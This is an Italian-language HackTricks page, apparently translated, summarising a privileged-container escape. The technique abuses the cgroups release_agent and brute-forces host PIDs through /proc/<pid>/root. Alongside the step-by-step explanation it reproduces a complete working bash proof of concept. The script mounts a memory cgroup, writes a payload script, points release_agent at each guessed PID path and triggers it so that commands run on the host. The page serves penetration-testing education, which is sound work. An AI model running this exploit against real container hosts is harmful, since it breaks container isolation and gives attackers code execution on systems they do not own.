84 lines
4.2 KiB
Markdown

{{#include ../../../../banners/hacktricks-training.md}}
Per ulteriori dettagli **controlla il blog port da [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Questo è solo un riassunto:
La tecnica delinea un metodo per **eseguire codice host da all'interno di un container**, superando le sfide poste dalle configurazioni del driver di archiviazione che oscurano il percorso del filesystem del container sull'host, come Kata Containers o impostazioni specifiche di `devicemapper`.
Passaggi chiave:
1. **Localizzazione degli ID di processo (PID):** Utilizzando il collegamento simbolico `/proc/<pid>/root` nel pseudo-filesystem Linux, qualsiasi file all'interno del container può essere accessibile rispetto al filesystem dell'host. Questo bypassa la necessità di conoscere il percorso del filesystem del container sull'host.
2. **PID Bashing:** Viene impiegato un approccio di forza bruta per cercare tra i PID sull'host. Questo viene fatto controllando sequenzialmente la presenza di un file specifico in `/proc/<pid>/root/<file>`. Quando il file viene trovato, indica che il PID corrispondente appartiene a un processo in esecuzione all'interno del container target.
3. **Attivazione dell'esecuzione:** Il percorso PID indovinato viene scritto nel file `cgroups release_agent`. Questa azione attiva l'esecuzione del `release_agent`. Il successo di questo passaggio è confermato controllando la creazione di un file di output.
### Processo di sfruttamento
Il processo di sfruttamento coinvolge un insieme di azioni più dettagliato, mirato a eseguire un payload sull'host indovinando il corretto PID di un processo in esecuzione all'interno del container. Ecco come si svolge:
1. **Inizializza l'ambiente:** Uno script payload (`payload.sh`) viene preparato sull'host e viene creata una directory unica per la manipolazione dei cgroup.
2. **Prepara il payload:** Lo script payload, che contiene i comandi da eseguire sull'host, viene scritto e reso eseguibile.
3. **Configura il cgroup:** Il cgroup viene montato e configurato. Il flag `notify_on_release` è impostato per garantire che il payload venga eseguito quando il cgroup viene rilasciato.
4. **Forza bruta PID:** Un ciclo itera attraverso i potenziali PID, scrivendo ogni PID indovinato nel file `release_agent`. Questo imposta effettivamente lo script payload come `release_agent`.
5. **Attiva e controlla l'esecuzione:** Per ogni PID, il `cgroup.procs` del cgroup viene scritto, attivando l'esecuzione del `release_agent` se il PID è corretto. Il ciclo continua fino a quando non viene trovato l'output dello script payload, indicando un'esecuzione riuscita.
PoC dal post del blog:
```bash
#!/bin/sh
OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"
# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &
# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}
# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__
# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}
# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{{#include ../../../../banners/hacktricks-training.md}}